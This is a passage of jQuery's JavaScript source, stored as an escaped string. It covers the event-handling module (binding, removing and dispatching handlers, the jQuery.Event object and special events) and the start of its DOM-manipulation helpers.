) {\n\t\t\ttmp = rtypenamespace.exec( types[ t ] ) || [];\n\t\t\ttype = origType = tmp[ 1 ];\n\t\t\tnamespaces = ( tmp[ 2 ] || \"\" ).split( \".\" ).sort();\n\n\t\t\t// There *must* be a type, no attaching namespace-only handlers\n\t\t\tif ( !type ) {\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\t// If event changes its type, use the special event handlers for the changed type\n\t\t\tspecial = jQuery.event.special[ type ] || {};\n\n\t\t\t// If selector defined, determine special event api type, otherwise given type\n\t\t\ttype = ( selector ? special.delegateType : special.bindType ) || type;\n\n\t\t\t// Update special based on newly reset type\n\t\t\tspecial = jQuery.event.special[ type ] || {};\n\n\t\t\t// handleObj is passed to all event handlers\n\t\t\thandleObj = jQuery.extend( {\n\t\t\t\ttype: type,\n\t\t\t\torigType: origType,\n\t\t\t\tdata: data,\n\t\t\t\thandler: handler,\n\t\t\t\tguid: handler.guid,\n\t\t\t\tselector: selector,\n\t\t\t\tneedsContext: selector && jQuery.expr.match.needsContext.test( selector ),\n\t\t\t\tnamespace: namespaces.join( \".\" )\n\t\t\t}, handleObjIn );\n\n\t\t\t// Init the event handler queue if we're the first\n\t\t\tif ( !( handlers = events[ type ] ) ) {\n\t\t\t\thandlers = events[ type ] = [];\n\t\t\t\thandlers.delegateCount = 0;\n\n\t\t\t\t// Only use addEventListener if the special events handler returns false\n\t\t\t\tif ( !special.setup ||\n\t\t\t\t\tspecial.setup.call( elem, data, namespaces, eventHandle ) === false ) {\n\n\t\t\t\t\tif ( elem.addEventListener ) {\n\t\t\t\t\t\telem.addEventListener( type, eventHandle );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif ( special.add ) {\n\t\t\t\tspecial.add.call( elem, handleObj );\n\n\t\t\t\tif ( !handleObj.handler.guid ) {\n\t\t\t\t\thandleObj.handler.guid = handler.guid;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Add to the element's handler list, delegates in front\n\t\t\tif ( selector ) {\n\t\t\t\thandlers.splice( handlers.delegateCount++, 0, handleObj );\n\t\t\t} else {\n\t\t\t\thandlers.push( handleObj );\n\t\t\t}\n\n\t\t\t// Keep track of which events have ever been used, for event optimization\n\t\t\tjQuery.event.global[ type ] = true;\n\t\t}\n\n\t},\n\n\t// Detach an event or set of events from an element\n\tremove: function( elem, types, handler, selector, mappedTypes ) {\n\n\t\tvar j, origCount, tmp,\n\t\t\tevents, t, handleObj,\n\t\t\tspecial, handlers, type, namespaces, origType,\n\t\t\telemData = dataPriv.hasData( elem ) && dataPriv.get( elem );\n\n\t\tif ( !elemData || !( events = elemData.events ) ) {\n\t\t\treturn;\n\t\t}\n\n\t\t// Once for each type.namespace in types; type may be omitted\n\t\ttypes = ( types || \"\" ).match( rnothtmlwhite ) || [ \"\" ];\n\t\tt = types.length;\n\t\twhile ( t-- ) {\n\t\t\ttmp = rtypenamespace.exec( types[ t ] ) || [];\n\t\t\ttype = origType = tmp[ 1 ];\n\t\t\tnamespaces = ( tmp[ 2 ] || \"\" ).split( \".\" ).sort();\n\n\t\t\t// Unbind all events (on this namespace, if provided) for the element\n\t\t\tif ( !type ) {\n\t\t\t\tfor ( type in events ) {\n\t\t\t\t\tjQuery.event.remove( elem, type + types[ t ], handler, selector, true );\n\t\t\t\t}\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tspecial = jQuery.event.special[ type ] || {};\n\t\t\ttype = ( selector ? special.delegateType : special.bindType ) || type;\n\t\t\thandlers = events[ type ] || [];\n\t\t\ttmp = tmp[ 2 ] &&\n\t\t\t\tnew RegExp( \"(^|\\\\.)\" + namespaces.join( \"\\\\.(?:.*\\\\.|)\" ) + \"(\\\\.|$)\" );\n\n\t\t\t// Remove matching events\n\t\t\torigCount = j = handlers.length;\n\t\t\twhile ( j-- ) {\n\t\t\t\thandleObj = handlers[ j ];\n\n\t\t\t\tif ( ( mappedTypes || origType === handleObj.origType ) &&\n\t\t\t\t\t( !handler || handler.guid === handleObj.guid ) &&\n\t\t\t\t\t( !tmp || tmp.test( handleObj.namespace ) ) &&\n\t\t\t\t\t( !selector || selector === handleObj.selector ||\n\t\t\t\t\t\tselector === \"**\" && handleObj.selector ) ) {\n\t\t\t\t\thandlers.splice( j, 1 );\n\n\t\t\t\t\tif ( handleObj.selector ) {\n\t\t\t\t\t\thandlers.delegateCount--;\n\t\t\t\t\t}\n\t\t\t\t\tif ( special.remove ) {\n\t\t\t\t\t\tspecial.remove.call( elem, handleObj );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Remove generic event handler if we removed something and no more handlers exist\n\t\t\t// (avoids potential for endless recursion during removal of special event handlers)\n\t\t\tif ( origCount && !handlers.length ) {\n\t\t\t\tif ( !special.teardown ||\n\t\t\t\t\tspecial.teardown.call( elem, namespaces, elemData.handle ) === false ) {\n\n\t\t\t\t\tjQuery.removeEvent( elem, type, elemData.handle );\n\t\t\t\t}\n\n\t\t\t\tdelete events[ type ];\n\t\t\t}\n\t\t}\n\n\t\t// Remove data and the expando if it's no longer used\n\t\tif ( jQuery.isEmptyObject( events ) ) {\n\t\t\tdataPriv.remove( elem, \"handle events\" );\n\t\t}\n\t},\n\n\tdispatch: function( nativeEvent ) {\n\n\t\t// Make a writable jQuery.Event from the native event object\n\t\tvar event = jQuery.event.fix( nativeEvent );\n\n\t\tvar i, j, ret, matched, handleObj, handlerQueue,\n\t\t\targs = new Array( arguments.length ),\n\t\t\thandlers = ( dataPriv.get( this, \"events\" ) || {} )[ event.type ] || [],\n\t\t\tspecial = jQuery.event.special[ event.type ] || {};\n\n\t\t// Use the fix-ed jQuery.Event rather than the (read-only) native event\n\t\targs[ 0 ] = event;\n\n\t\tfor ( i = 1; i < arguments.length; i++ ) {\n\t\t\targs[ i ] = arguments[ i ];\n\t\t}\n\n\t\tevent.delegateTarget = this;\n\n\t\t// Call the preDispatch hook for the mapped type, and let it bail if desired\n\t\tif ( special.preDispatch && special.preDispatch.call( this, event ) === false ) {\n\t\t\treturn;\n\t\t}\n\n\t\t// Determine handlers\n\t\thandlerQueue = jQuery.event.handlers.call( this, event, handlers );\n\n\t\t// Run delegates first; they may want to stop propagation beneath us\n\t\ti = 0;\n\t\twhile ( ( matched = handlerQueue[ i++ ] ) && !event.isPropagationStopped() ) {\n\t\t\tevent.currentTarget = matched.elem;\n\n\t\t\tj = 0;\n\t\t\twhile ( ( handleObj = matched.handlers[ j++ ] ) &&\n\t\t\t\t!event.isImmediatePropagationStopped() ) {\n\n\t\t\t\t// If the event is namespaced, then each handler is only invoked if it is\n\t\t\t\t// specially universal or its namespaces are a superset of the event's.\n\t\t\t\tif ( !event.rnamespace || handleObj.namespace === false ||\n\t\t\t\t\tevent.rnamespace.test( handleObj.namespace ) ) {\n\n\t\t\t\t\tevent.handleObj = handleObj;\n\t\t\t\t\tevent.data = handleObj.data;\n\n\t\t\t\t\tret = ( ( jQuery.event.special[ handleObj.origType ] || {} ).handle ||\n\t\t\t\t\t\thandleObj.handler ).apply( matched.elem, args );\n\n\t\t\t\t\tif ( ret !== undefined ) {\n\t\t\t\t\t\tif ( ( event.result = ret ) === false ) {\n\t\t\t\t\t\t\tevent.preventDefault();\n\t\t\t\t\t\t\tevent.stopPropagation();\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// Call the postDispatch hook for the mapped type\n\t\tif ( special.postDispatch ) {\n\t\t\tspecial.postDispatch.call( this, event );\n\t\t}\n\n\t\treturn event.result;\n\t},\n\n\thandlers: function( event, handlers ) {\n\t\tvar i, handleObj, sel, matchedHandlers, matchedSelectors,\n\t\t\thandlerQueue = [],\n\t\t\tdelegateCount = handlers.delegateCount,\n\t\t\tcur = event.target;\n\n\t\t// Find delegate handlers\n\t\tif ( delegateCount &&\n\n\t\t\t// Support: IE <=9\n\t\t\t// Black-hole SVG <use> instance trees (trac-13180)\n\t\t\tcur.nodeType &&\n\n\t\t\t// Support: Firefox <=42\n\t\t\t// Suppress spec-violating clicks indicating a non-primary pointer button (trac-3861)\n\t\t\t// https://www.w3.org/TR/DOM-Level-3-Events/#event-type-click\n\t\t\t// Support: IE 11 only\n\t\t\t// ...but not arrow key \"clicks\" of radio inputs, which can have `button` -1 (gh-2343)\n\t\t\t!( event.type === \"click\" && event.button >= 1 ) ) {\n\n\t\t\tfor ( ; cur !== this; cur = cur.parentNode || this ) {\n\n\t\t\t\t// Don't check non-elements (#13208)\n\t\t\t\t// Don't process clicks on disabled elements (#6911, #8165, #11382, #11764)\n\t\t\t\tif ( cur.nodeType === 1 && !( event.type === \"click\" && cur.disabled === true ) ) {\n\t\t\t\t\tmatchedHandlers = [];\n\t\t\t\t\tmatchedSelectors = {};\n\t\t\t\t\tfor ( i = 0; i < delegateCount; i++ ) {\n\t\t\t\t\t\thandleObj = handlers[ i ];\n\n\t\t\t\t\t\t// Don't conflict with Object.prototype properties (#13203)\n\t\t\t\t\t\tsel = handleObj.selector + \" \";\n\n\t\t\t\t\t\tif ( matchedSelectors[ sel ] === undefined ) {\n\t\t\t\t\t\t\tmatchedSelectors[ sel ] = handleObj.needsContext ?\n\t\t\t\t\t\t\t\tjQuery( sel, this ).index( cur ) > -1 :\n\t\t\t\t\t\t\t\tjQuery.find( sel, this, null, [ cur ] ).length;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif ( matchedSelectors[ sel ] ) {\n\t\t\t\t\t\t\tmatchedHandlers.push( handleObj );\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tif ( matchedHandlers.length ) {\n\t\t\t\t\t\thandlerQueue.push( { elem: cur, handlers: matchedHandlers } );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// Add the remaining (directly-bound) handlers\n\t\tcur = this;\n\t\tif ( delegateCount < handlers.length ) {\n\t\t\thandlerQueue.push( { elem: cur, handlers: handlers.slice( delegateCount ) } );\n\t\t}\n\n\t\treturn handlerQueue;\n\t},\n\n\taddProp: function( name, hook ) {\n\t\tObject.defineProperty( jQuery.Event.prototype, name, {\n\t\t\tenumerable: true,\n\t\t\tconfigurable: true,\n\n\t\t\tget: isFunction( hook ) ?\n\t\t\t\tfunction() {\n\t\t\t\t\tif ( this.originalEvent ) {\n\t\t\t\t\t\t\treturn hook( this.originalEvent );\n\t\t\t\t\t}\n\t\t\t\t} :\n\t\t\t\tfunction() {\n\t\t\t\t\tif ( this.originalEvent ) {\n\t\t\t\t\t\t\treturn this.originalEvent[ name ];\n\t\t\t\t\t}\n\t\t\t\t},\n\n\t\t\tset: function( value ) {\n\t\t\t\tObject.defineProperty( this, name, {\n\t\t\t\t\tenumerable: true,\n\t\t\t\t\tconfigurable: true,\n\t\t\t\t\twritable: true,\n\t\t\t\t\tvalue: value\n\t\t\t\t} );\n\t\t\t}\n\t\t} );\n\t},\n\n\tfix: function( originalEvent ) {\n\t\treturn originalEvent[ jQuery.expando ] ?\n\t\t\toriginalEvent :\n\t\t\tnew jQuery.Event( originalEvent );\n\t},\n\n\tspecial: {\n\t\tload: {\n\n\t\t\t// Prevent triggered image.load events from bubbling to window.load\n\t\t\tnoBubble: true\n\t\t},\n\t\tclick: {\n\n\t\t\t// Utilize native event to ensure correct state for checkable inputs\n\t\t\tsetup: function( data ) {\n\n\t\t\t\t// For mutual compressibility with _default, replace `this` access with a local var.\n\t\t\t\t// `|| data` is dead code meant only to preserve the variable through minification.\n\t\t\t\tvar el = this || data;\n\n\t\t\t\t// Claim the first handler\n\t\t\t\tif ( rcheckableType.test( el.type ) &&\n\t\t\t\t\tel.click && nodeName( el, \"input\" ) ) {\n\n\t\t\t\t\t// dataPriv.set( el, \"click\", ... )\n\t\t\t\t\tleverageNative( el, \"click\", returnTrue );\n\t\t\t\t}\n\n\t\t\t\t// Return false to allow normal processing in the caller\n\t\t\t\treturn false;\n\t\t\t},\n\t\t\ttrigger: function( data ) {\n\n\t\t\t\t// For mutual compressibility with _default, replace `this` access with a local var.\n\t\t\t\t// `|| data` is dead code meant only to preserve the variable through minification.\n\t\t\t\tvar el = this || data;\n\n\t\t\t\t// Force setup before triggering a click\n\t\t\t\tif ( rcheckableType.test( el.type ) &&\n\t\t\t\t\tel.click && nodeName( el, \"input\" ) ) {\n\n\t\t\t\t\tleverageNative( el, \"click\" );\n\t\t\t\t}\n\n\t\t\t\t// Return non-false to allow normal event-path propagation\n\t\t\t\treturn true;\n\t\t\t},\n\n\t\t\t// For cross-browser consistency, suppress native .click() on links\n\t\t\t// Also prevent it if we're currently inside a leveraged native-event stack\n\t\t\t_default: function( event ) {\n\t\t\t\tvar target = event.target;\n\t\t\t\treturn rcheckableType.test( target.type ) &&\n\t\t\t\t\ttarget.click && nodeName( target, \"input\" ) &&\n\t\t\t\t\tdataPriv.get( target, \"click\" ) ||\n\t\t\t\t\tnodeName( target, \"a\" );\n\t\t\t}\n\t\t},\n\n\t\tbeforeunload: {\n\t\t\tpostDispatch: function( event ) {\n\n\t\t\t\t// Support: Firefox 20+\n\t\t\t\t// Firefox doesn't alert if the returnValue field is not set.\n\t\t\t\tif ( event.result !== undefined && event.originalEvent ) {\n\t\t\t\t\tevent.originalEvent.returnValue = event.result;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n};\n\n// Ensure the presence of an event listener that handles manually-triggered\n// synthetic events by interrupting progress until reinvoked in response to\n// *native* events that it fires directly, ensuring that state changes have\n// already occurred before other listeners are invoked.\nfunction leverageNative( el, type, expectSync ) {\n\n\t// Missing expectSync indicates a trigger call, which must force setup through jQuery.event.add\n\tif ( !expectSync ) {\n\t\tif ( dataPriv.get( el, type ) === undefined ) {\n\t\t\tjQuery.event.add( el, type, returnTrue );\n\t\t}\n\t\treturn;\n\t}\n\n\t// Register the controller as a special universal handler for all event namespaces\n\tdataPriv.set( el, type, false );\n\tjQuery.event.add( el, type, {\n\t\tnamespace: false,\n\t\thandler: function( event ) {\n\t\t\tvar notAsync, result,\n\t\t\t\tsaved = dataPriv.get( this, type );\n\n\t\t\tif ( ( event.isTrigger & 1 ) && this[ type ] ) {\n\n\t\t\t\t// Interrupt processing of the outer synthetic .trigger()ed event\n\t\t\t\t// Saved data should be false in such cases, but might be a leftover capture object\n\t\t\t\t// from an async native handler (gh-4350)\n\t\t\t\tif ( !saved.length ) {\n\n\t\t\t\t\t// Store arguments for use when handling the inner native event\n\t\t\t\t\t// There will always be at least one argument (an event object), so this array\n\t\t\t\t\t// will not be confused with a leftover capture object.\n\t\t\t\t\tsaved = slice.call( arguments );\n\t\t\t\t\tdataPriv.set( this, type, saved );\n\n\t\t\t\t\t// Trigger the native event and capture its result\n\t\t\t\t\t// Support: IE <=9 - 11+\n\t\t\t\t\t// focus() and blur() are asynchronous\n\t\t\t\t\tnotAsync = expectSync( this, type );\n\t\t\t\t\tthis[ type ]();\n\t\t\t\t\tresult = dataPriv.get( this, type );\n\t\t\t\t\tif ( saved !== result || notAsync ) {\n\t\t\t\t\t\tdataPriv.set( this, type, false );\n\t\t\t\t\t} else {\n\t\t\t\t\t\tresult = {};\n\t\t\t\t\t}\n\t\t\t\t\tif ( saved !== result ) {\n\n\t\t\t\t\t\t// Cancel the outer synthetic event\n\t\t\t\t\t\tevent.stopImmediatePropagation();\n\t\t\t\t\t\tevent.preventDefault();\n\t\t\t\t\t\treturn result.value;\n\t\t\t\t\t}\n\n\t\t\t\t// If this is an inner synthetic event for an event with a bubbling surrogate\n\t\t\t\t// (focus or blur), assume that the surrogate already propagated from triggering the\n\t\t\t\t// native event and prevent that from happening again here.\n\t\t\t\t// This technically gets the ordering wrong w.r.t. to `.trigger()` (in which the\n\t\t\t\t// bubbling surrogate propagates *after* the non-bubbling base), but that seems\n\t\t\t\t// less bad than duplication.\n\t\t\t\t} else if ( ( jQuery.event.special[ type ] || {} ).delegateType ) {\n\t\t\t\t\tevent.stopPropagation();\n\t\t\t\t}\n\n\t\t\t// If this is a native event triggered above, everything is now in order\n\t\t\t// Fire an inner synthetic event with the original arguments\n\t\t\t} else if ( saved.length ) {\n\n\t\t\t\t// ...and capture the result\n\t\t\t\tdataPriv.set( this, type, {\n\t\t\t\t\tvalue: jQuery.event.trigger(\n\n\t\t\t\t\t\t// Support: IE <=9 - 11+\n\t\t\t\t\t\t// Extend with the prototype to reset the above stopImmediatePropagation()\n\t\t\t\t\t\tjQuery.extend( saved[ 0 ], jQuery.Event.prototype ),\n\t\t\t\t\t\tsaved.slice( 1 ),\n\t\t\t\t\t\tthis\n\t\t\t\t\t)\n\t\t\t\t} );\n\n\t\t\t\t// Abort handling of the native event\n\t\t\t\tevent.stopImmediatePropagation();\n\t\t\t}\n\t\t}\n\t} );\n}\n\njQuery.removeEvent = function( elem, type, handle ) {\n\n\t// This \"if\" is needed for plain objects\n\tif ( elem.removeEventListener ) {\n\t\telem.removeEventListener( type, handle );\n\t}\n};\n\njQuery.Event = function( src, props ) {\n\n\t// Allow instantiation without the 'new' keyword\n\tif ( !( this instanceof jQuery.Event ) ) {\n\t\treturn new jQuery.Event( src, props );\n\t}\n\n\t// Event object\n\tif ( src && src.type ) {\n\t\tthis.originalEvent = src;\n\t\tthis.type = src.type;\n\n\t\t// Events bubbling up the document may have been marked as prevented\n\t\t// by a handler lower down the tree; reflect the correct value.\n\t\tthis.isDefaultPrevented = src.defaultPrevented ||\n\t\t\t\tsrc.defaultPrevented === undefined &&\n\n\t\t\t\t// Support: Android <=2.3 only\n\t\t\t\tsrc.returnValue === false ?\n\t\t\treturnTrue :\n\t\t\treturnFalse;\n\n\t\t// Create target properties\n\t\t// Support: Safari <=6 - 7 only\n\t\t// Target should not be a text node (#504, #13143)\n\t\tthis.target = ( src.target && src.target.nodeType === 3 ) ?\n\t\t\tsrc.target.parentNode :\n\t\t\tsrc.target;\n\n\t\tthis.currentTarget = src.currentTarget;\n\t\tthis.relatedTarget = src.relatedTarget;\n\n\t// Event type\n\t} else {\n\t\tthis.type = src;\n\t}\n\n\t// Put explicitly provided properties onto the event object\n\tif ( props ) {\n\t\tjQuery.extend( this, props );\n\t}\n\n\t// Create a timestamp if incoming event doesn't have one\n\tthis.timeStamp = src && src.timeStamp || Date.now();\n\n\t// Mark it as fixed\n\tthis[ jQuery.expando ] = true;\n};\n\n// jQuery.Event is based on DOM3 Events as specified by the ECMAScript Language Binding\n// https://www.w3.org/TR/2003/WD-DOM-Level-3-Events-20030331/ecma-script-binding.html\njQuery.Event.prototype = {\n\tconstructor: jQuery.Event,\n\tisDefaultPrevented: returnFalse,\n\tisPropagationStopped: returnFalse,\n\tisImmediatePropagationStopped: returnFalse,\n\tisSimulated: false,\n\n\tpreventDefault: function() {\n\t\tvar e = this.originalEvent;\n\n\t\tthis.isDefaultPrevented = returnTrue;\n\n\t\tif ( e && !this.isSimulated ) {\n\t\t\te.preventDefault();\n\t\t}\n\t},\n\tstopPropagation: function() {\n\t\tvar e = this.originalEvent;\n\n\t\tthis.isPropagationStopped = returnTrue;\n\n\t\tif ( e && !this.isSimulated ) {\n\t\t\te.stopPropagation();\n\t\t}\n\t},\n\tstopImmediatePropagation: function() {\n\t\tvar e = this.originalEvent;\n\n\t\tthis.isImmediatePropagationStopped = returnTrue;\n\n\t\tif ( e && !this.isSimulated ) {\n\t\t\te.stopImmediatePropagation();\n\t\t}\n\n\t\tthis.stopPropagation();\n\t}\n};\n\n// Includes all common event props including KeyEvent and MouseEvent specific props\njQuery.each( {\n\taltKey: true,\n\tbubbles: true,\n\tcancelable: true,\n\tchangedTouches: true,\n\tctrlKey: true,\n\tdetail: true,\n\teventPhase: true,\n\tmetaKey: true,\n\tpageX: true,\n\tpageY: true,\n\tshiftKey: true,\n\tview: true,\n\t\"char\": true,\n\tcode: true,\n\tcharCode: true,\n\tkey: true,\n\tkeyCode: true,\n\tbutton: true,\n\tbuttons: true,\n\tclientX: true,\n\tclientY: true,\n\toffsetX: true,\n\toffsetY: true,\n\tpointerId: true,\n\tpointerType: true,\n\tscreenX: true,\n\tscreenY: true,\n\ttargetTouches: true,\n\ttoElement: true,\n\ttouches: true,\n\n\twhich: function( event ) {\n\t\tvar button = event.button;\n\n\t\t// Add which for key events\n\t\tif ( event.which == null && rkeyEvent.test( event.type ) ) {\n\t\t\treturn event.charCode != null ? event.charCode : event.keyCode;\n\t\t}\n\n\t\t// Add which for click: 1 === left; 2 === middle; 3 === right\n\t\tif ( !event.which && button !== undefined && rmouseEvent.test( event.type ) ) {\n\t\t\tif ( button & 1 ) {\n\t\t\t\treturn 1;\n\t\t\t}\n\n\t\t\tif ( button & 2 ) {\n\t\t\t\treturn 3;\n\t\t\t}\n\n\t\t\tif ( button & 4 ) {\n\t\t\t\treturn 2;\n\t\t\t}\n\n\t\t\treturn 0;\n\t\t}\n\n\t\treturn event.which;\n\t}\n}, jQuery.event.addProp );\n\njQuery.each( { focus: \"focusin\", blur: \"focusout\" }, function( type, delegateType ) {\n\tjQuery.event.special[ type ] = {\n\n\t\t// Utilize native event if possible so blur/focus sequence is correct\n\t\tsetup: function() {\n\n\t\t\t// Claim the first handler\n\t\t\t// dataPriv.set( this, \"focus\", ... )\n\t\t\t// dataPriv.set( this, \"blur\", ... )\n\t\t\tleverageNative( this, type, expectSync );\n\n\t\t\t// Return false to allow normal processing in the caller\n\t\t\treturn false;\n\t\t},\n\t\ttrigger: function() {\n\n\t\t\t// Force setup before trigger\n\t\t\tleverageNative( this, type );\n\n\t\t\t// Return non-false to allow normal event-path propagation\n\t\t\treturn true;\n\t\t},\n\n\t\tdelegateType: delegateType\n\t};\n} );\n\n// Create mouseenter/leave events using mouseover/out and event-time checks\n// so that event delegation works in jQuery.\n// Do the same for pointerenter/pointerleave and pointerover/pointerout\n//\n// Support: Safari 7 only\n// Safari sends mouseenter too often; see:\n// https://bugs.chromium.org/p/chromium/issues/detail?id=470258\n// for the description of the bug (it existed in older Chrome versions as well).\njQuery.each( {\n\tmouseenter: \"mouseover\",\n\tmouseleave: \"mouseout\",\n\tpointerenter: \"pointerover\",\n\tpointerleave: \"pointerout\"\n}, function( orig, fix ) {\n\tjQuery.event.special[ orig ] = {\n\t\tdelegateType: fix,\n\t\tbindType: fix,\n\n\t\thandle: function( event ) {\n\t\t\tvar ret,\n\t\t\t\ttarget = this,\n\t\t\t\trelated = event.relatedTarget,\n\t\t\t\thandleObj = event.handleObj;\n\n\t\t\t// For mouseenter/leave call the handler if related is outside the target.\n\t\t\t// NB: No relatedTarget if the mouse left/entered the browser window\n\t\t\tif ( !related || ( related !== target && !jQuery.contains( target, related ) ) ) {\n\t\t\t\tevent.type = handleObj.origType;\n\t\t\t\tret = handleObj.handler.apply( this, arguments );\n\t\t\t\tevent.type = fix;\n\t\t\t}\n\t\t\treturn ret;\n\t\t}\n\t};\n} );\n\njQuery.fn.extend( {\n\n\ton: function( types, selector, data, fn ) {\n\t\treturn on( this, types, selector, data, fn );\n\t},\n\tone: function( types, selector, data, fn ) {\n\t\treturn on( this, types, selector, data, fn, 1 );\n\t},\n\toff: function( types, selector, fn ) {\n\t\tvar handleObj, type;\n\t\tif ( types && types.preventDefault && types.handleObj ) {\n\n\t\t\t// ( event )  dispatched jQuery.Event\n\t\t\thandleObj = types.handleObj;\n\t\t\tjQuery( types.delegateTarget ).off(\n\t\t\t\thandleObj.namespace ?\n\t\t\t\t\thandleObj.origType + \".\" + handleObj.namespace :\n\t\t\t\t\thandleObj.origType,\n\t\t\t\thandleObj.selector,\n\t\t\t\thandleObj.handler\n\t\t\t);\n\t\t\treturn this;\n\t\t}\n\t\tif ( typeof types === \"object\" ) {\n\n\t\t\t// ( types-object [, selector] )\n\t\t\tfor ( type in types ) {\n\t\t\t\tthis.off( type, selector, types[ type ] );\n\t\t\t}\n\t\t\treturn this;\n\t\t}\n\t\tif ( selector === false || typeof selector === \"function\" ) {\n\n\t\t\t// ( types [, fn] )\n\t\t\tfn = selector;\n\t\t\tselector = undefined;\n\t\t}\n\t\tif ( fn === false ) {\n\t\t\tfn = returnFalse;\n\t\t}\n\t\treturn this.each( function() {\n\t\t\tjQuery.event.remove( this, types, fn, selector );\n\t\t} );\n\t}\n} );\n\n\nvar\n\n\t/* eslint-disable max-len */\n\n\t// See https://github.com/eslint/eslint/issues/3229\n\trxhtmlTag = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\\/\\0>\\x20\\t\\r\\n\\f]*)[^>]*)\\/>/gi,\n\n\t/* eslint-enable */\n\n\t// Support: IE <=10 - 11, Edge 12 - 13 only\n\t// In IE/Edge using regex groups here causes severe slowdowns.\n\t// See https://connect.microsoft.com/IE/feedback/details/1736512/\n\trnoInnerhtml = /<script|<style|<link/i,\n\n\t// checked=\"checked\" or checked\n\trchecked = /checked\\s*(?:[^=]|=\\s*.checked.)/i,\n\trcleanScript = /^\\s*<!(?:\\[CDATA\\[|--)|(?:\\]\\]|--)>\\s*$/g;\n\n// Prefer a tbody over its parent table for containing new rows\nfunction manipulationTarget( elem, content ) {\n\tif ( nodeName( elem, \"table\" ) &&\n\t\tnodeName( content.nodeType !== 11 ? content : content.firstChild, \"tr\" ) ) {\n\n\t\treturn jQuery( elem ).children( \"tbody\" )[ 0 ] || elem;\n\t}\n\n\treturn elem;\n}\n\n// Replace/restore the type attribute of script elements for safe DOM manipulation\nfunction disableScript( elem ) {\n\telem.type = ( elem.getAttribute( \"type\" ) !== null ) + \"/\" + elem.type;\n\treturn elem;\n}\nfunction restoreScript( elem ) {\n\tif ( ( elem.type || \"\" ).slice( 0, 5 ) === \"true/\" ) {\n\t\telem.type = elem.type.slice( 5 );\n\t} else {\n\t\telem.removeAttribute( \"type\" );\n\t}\n\n\treturn elem;\n}\n\nfunction cloneCopyEvent( src, dest ) {\n\tvar i, l, type, pdataOld, pdataCur, udataOld, udataCur, events;\n\n\tif ( dest.nodeType !== 1 ) {\n\t\treturn;\n\t}\n\n\t// 1. Copy private data: events, handlers, etc.\n\tif ( dataPriv.hasData( src ) ) {\n\t\tpdataOld = dataPriv.access( src );\n\t\tpdataCur = dataPriv.set( dest, pdataOld );\n\t\tevents = pdataOld.events;\n\n\t\tif ( events ) {\n\t\t\tdelete pdataCur.handle;\n\t\t\tpdataCur.events = {};\n\n\t\t\tfor ( type in events ) {\n\t\t\t\tfor ( i = 0, l = events[ type ].length; i < l; i++ ) {\n\t\t\t\t\tjQuery.event.add( dest, type, events[ type ][ i ] );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t// 2. Copy user data\n\tif ( dataUser.hasData( src ) ) {\n\t\tudataOld = dataUser.access( src );\n\t\tudataCur = jQuery.extend( {}, udataOld );\n\n\t\tdataUser.set( dest, udataCur );\n\t}\n}\n\n// Fix IE bugs, see support tests\nfunction fixInput( src, dest ) {\n\tvar nodeName = dest.nodeName.toLowerCase();\n\n\t// Fails to persist the checked state of a cloned checkbox or radio button.\n\tif ( nodeName === \"input\" && rcheckableType.test( src.type ) ) {\n\t\tdest.checked = src.checked;\n\n\t// Fails to return the selected option to the default selected state when cloning options\n\t} else if ( nodeName === \"input\" || nodeName === \"textarea\" ) {\n\t\tdest.defaultValue = src.defaultValue;\n\t}\n}\n\nfunction domManip( collection, args, callback, ignored ) {\n\n\t// Flatten any nested arrays\n\targs = concat.apply( [], args );\n\n\tvar fragment, first, scripts, hasScripts, node, doc,\n\t\ti = 0,\n\t\tl = collection.length,\n\t\tiNoClone = l - 1,\n\t\tvalue = args[ 0 ],\n\t\tvalueIsFunction = isFunction( value );\n\n\t// We can't cloneNode fragments that contain checked, in WebKit\n\tif ( valueIsFunction ||\n\t\t\t( l > 1 && typeof value === \"string\" &&\n\t\t\t\t!support.checkClone && rchecked.test( value ) ) ) {\n\t\treturn collection.each( function( index ) {\n\t\t\tvar self = collection.eq( index );\n\t\t\tif ( valueIsFunction ) {\n\t\t\t\targs[ 0 ] = value.call( this, index, self.html() );\n\t\t\t}\n\t\t\tdomManip( self, args, callback, ignored );\n\t\t} );\n\t}\n\n\tif ( l ) {\n\t\tfragment = buildFragment( args, collection[ 0 ].ownerDocument, false, collection, ignored );\n\t\tfirst = fragment.firstChild;\n\n\t\tif ( fragment.childNodes.length === 1 ) {\n\t\t\tfragment = first;\n\t\t}\n\n\t\t// Require either new content or an interest in ignored elements to invoke the callback\n\t\tif ( first || ignored ) {\n\t\t\tscripts = jQuery.map( getAll( fragment, \"script\" ), disableScript );\n\t\t\thasScripts = scripts.length;\n\n\t\t\t// Use the original fragment for the last item\n\t\t\t// instead of the first because it can end up\n\t\t\t// being emptied incorrectly in certain situations (#8070).\n\t\t\tfor ( ; i < l; i++ ) {\n\t\t\t\tnode = fragment;\n\n\t\t\t\tif ( i !== iNoClone ) {\n\t\t\t\t\tnode = jQuery.clone( node, true, true );\n\n\t\t\t\t\t// Keep references to cloned scripts for later restoration\n\t\t\t\t\tif ( hasScripts ) {\n\n\t\t\t\t\t\t// Support: Android <=4.0 only, PhantomJS 1 only\n\t\t\t\t\t\t// push.apply(_, arraylike) throws on ancient WebKit\n\t\t\t\t\t\tjQuery.merge( scripts, getAll( node, \"script\" ) );\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tcallback.call( collection[ i ], node, i );\n\t\t\t}\n\n\t\t\tif ( hasScripts ) {\n\t\t\t\tdoc = scripts[ scripts.length - 1 ].ownerDocument;\n\n\t\t\t\t// Reenable scripts\n\t\t\t\tjQuery.map( scripts, restoreScript );\n\n\t\t\t\t// Evaluate executable scripts on first document insertion\n\t\t\t\tfor ( i = 0; i < hasScripts; i++ ) {\n\t\t\t\t\tnode = scripts[ i ];\n\t\t\t\t\tif ( rscriptType.test( node.type || \"\" ) 